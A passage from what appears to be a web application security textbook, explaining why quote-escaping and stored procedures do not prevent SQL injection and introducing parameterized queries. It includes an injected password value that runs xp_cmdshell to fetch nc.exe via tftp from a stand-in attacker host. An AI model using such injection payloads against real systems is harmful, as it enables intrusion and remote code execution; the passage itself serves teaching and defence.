the-web-application-hackers-handbook

Chapter 9 n Attacking Data Stores 339
attacker can break out of the data context and begin entering arbitrary
SQL without the need to supply a single quotation mark.
n In second-order SQL injection attacks, data that has been safely escaped
when initially inserted into the database is subsequently read from the
database and then passed back to it again. Quotation marks that were
doubled initially return to their original form when the data is reused.
Another countermeasure that is often cited is the use of stored procedures
for all database access. There is no doubt that custom stored procedures can
provide security and performance benefits. However, they are not guaranteed
to prevent SQL injection vulnerabilities for two reasons:
n As you saw in the case of Oracle, a poorly written stored procedure can
contain SQL injection vulnerabilities within its own code. Similar security
issues arise when constructing SQL statements within stored procedures
as arise elsewhere. The fact that a stored procedure is being used does
not prevent flaws from occurring.
n Even if a robust stored procedure is being used, SQL injection vulnerabilities
can arise if it is invoked in an unsafe way using user-supplied input.
For example, suppose that a user registration function is implemented
within a stored procedure, which is invoked as follows:
exec sp_RegisterUser ‘joe’, ‘secret’
This statement may be just as vulnerable as a simple INSERT statement.
For example, an attacker may supply the following password:
foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’--
which causes the application to perform the following batch query:
exec sp_RegisterUser ‘joe’, ‘foo’; exec master..xp_cmdshell ‘tftp
wahh-attacker.com GET nc.exe’--’
Therefore, the use of the stored procedure has achieved nothing.
In fact, in a large and complex application that performs thousands of different
SQL statements, many developers regard the solution of reimplementing these statements
as stored procedures to be an unjustifiable overhead on development time.
Parameterized Queries
Most databases and application development platforms provide APIs for handling
untrusted input in a secure way, which prevents SQL injection vulnerabilities
from arising. In parameterized queries (also known as prepared statements), the
construction of a SQL statement containing user input is performed in two steps:
1. The application specifies the query’s structure, leaving placeholders for
each item of user input.
2. The application specifies the contents of each placeholder.